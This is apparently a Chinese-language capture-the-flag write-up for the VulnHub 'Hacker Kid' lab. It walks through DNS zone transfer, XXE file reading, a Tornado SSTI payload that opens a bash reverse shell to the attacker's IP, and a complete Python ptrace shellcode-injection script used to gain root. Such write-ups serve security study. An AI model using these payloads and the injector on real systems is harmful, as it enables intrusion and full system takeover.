vulnhub7

靶机地址：https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

这次的靶机风格比较偏向 OSCP 风格，区别于传统的 CTF 类型的靶机，只需要提权到 root 即可，而且这次打靶确实触碰到很多知识盲区了

提示：本地不需要任何暴力破解的地方，而且每个点都会有响应的提示

信息收集

老传统 nmap 信息收集了：

扫描端口：

┌──(kali㉿kali)-[~/Desktop/Tools/pwndbg]
└─$ sudo nmap --min-rate 10000 -p- 192.168.120.129
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 07:50 CST
Nmap scan report for 192.168.120.129
Host is up (0.00049s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
9999/tcp open  abyss
MAC Address: 00:0C:29:29:42:E8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds

扫到这个 53 的时候眼前一亮，下意识以为是域，但是只有一台靶机，其实这个 53 端口在打 Linux 靶的时候是比较少见的，以为基本不需要专门开放一个 53 端口来配置域名，一般来说用 nginx 等中间件就可以完成本地的域名工作。

另外这里再说几个 DNS 的小知识：

tcp 53两个域之间的DNS服务器进行交互，日常上网的域名解析都是udp的53。但是axfr之间的通信就是使用的TCP传输和同步

猜测这里扫到 53 端口是肯定可以利用的

接下来探测详细信息：

┌──(kali㉿kali)-[~/Desktop/Tools/pwndbg]
└─$ sudo nmap -A -p 53,80,9999 192.168.120.129
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 07:50 CST
Nmap scan report for 192.168.120.129
Host is up (0.00012s latency).

PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Notorious Kid : A Hacker 
9999/tcp open  http    Tornado httpd 6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
|_http-server-header: TornadoServer/6.1
MAC Address: 00:0C:29:29:42:E8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms 192.168.120.129

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.68 seconds

9999端口是 Tornado框架开发的 Web 服务

两个 web 服务都可以看看

看一眼 9999 的：

需要登录，虽然提示说不用爆破，还是爆破了一下，确实没有结果

先看 80 的：

一个提示和三个功能点：

提示 dig me more 和 DNS 对应

三个功能点都把锚点 # 去掉可以访问，但是没有可利用的点

getshell

F12 看一眼：

提示了 page_no，那就传参 page_no

提示更深一点，那就批量跑数据：

发现 21 有东西

给了个域名，配置一下访问看看：

那就 dig 他的 DNS

dig axfr @192.168.120.129 blackhat.local (这里的 @ 就是指定 DNS 服务器)

发现了很多个域名，都把他们添加到自己的 hosts 中依次访问

192.168.120.129 hackers.blackhat.local
192.168.120.129 blackhat.local
192.168.120.129 www.blackhat.local
192.168.120.129 ns2.blackhat.local
192.168.120.129 ns1.blackhat.local
192.168.120.129 mail.blackhat.local
192.168.120.129 lackhat.local
192.168.120.129 ftp.blackhat.local
192.168.120.129 id.blackhat.local
192.168.120.129 hackerkid.blackhat.local

最终我们在 hackerkid 这个子域名中有了收获

我们注册抓包：

发现是这个样子，这很明显 XXE 注入了

‍

所以这里已经任意文件读取了

继续贴上我们任意文件读取的思路：

1.可以读取/etc/passwd或者知道用户名的前提下，可以看用户目录的历史命令啥的，看怎么cat的flag，flag名字是啥
2.可以看一下/root/.ssh/id_rsa或者/home/user/.ssh/id_rsa查看私钥 公钥文件`authorized_keys`
3.使用php伪协议写文件：
* 写文件：php://filter/write.base64-decode/resource=文件名&txt=写入内容的base64编码
* 如果写入成功的话可以直接查看，否则不成功
4日志包含getshell.
5.filterchains php gen

保险起见，这里都用 php 伪协议去读，以为有的字符读不出来是没有回显的，发现只有 .profile和 .bashrc有东西

其中.bashrc 给了密码：

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

回到 9999 端口登录

发现登录失败，但是把账号改成 Saket 的时候成功登录：

saket / Saket!#$%@!!

登录成功后：

提示输入 name，传参 name 试试：

还是那句话传参什么回显什么，不是 SSTI 就是命令执行

输入测试语句{{2/2}}

所以 SSTI 无疑了

tornado 的 SSTI,需要 URL 编码，否则字符会被解析成其他符号产生歧义

%7B%25import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20"bash%20-i%20>%26%20%2Fdev%2Ftcp%2F192.168.120.128%2F4444%200>%261"%27)%7D%7D

权限提升

反弹 shell 后,提权检测后发现以下 cve 可以成功提权：(非预期就不演示了)

cve_2022_0847_dirtypipe
cve_2021_4034_pwnkit_lpe_pkexec  （suid）

另外还有一种解法：

Capabilities这种提权方式第一次听，Capabilities是 Linux 内核 2.2 版本以后引入的，也是一种类似 Suid的提权方式。管理员使用命令 setcap cap_setuid=ep/usr/bin/perl对一些可执行文件设置了 capabilities

具体看文章：https://www.secrss.com/articles/28488

‍

利用命令 getcap -r / 2>/dev/null可以提权（如果报错了就用/sbin/getcap 指定运行程序）

这里可以看到有个 python，尝试使用 /usr/bin/python2.7 -c "import os;os.setuid(0);os.system('/bin/sh')"

但是这里还是被禁止了：

认真一看 ptrace操作系统进程动态调试跟踪的意思，这里是没有权限调用 setuid 的

我们只能看进程 id，利用下面这个脚本注入进程并监听 5600 端口，等待连接

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

但是不是每一个进程都能成功的，所以利用：

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

循环跑，就是环境可能会出问题吧

然后用 nc 连接即可返回 root 权限账号

‍

信息收集

getshell

权限提升

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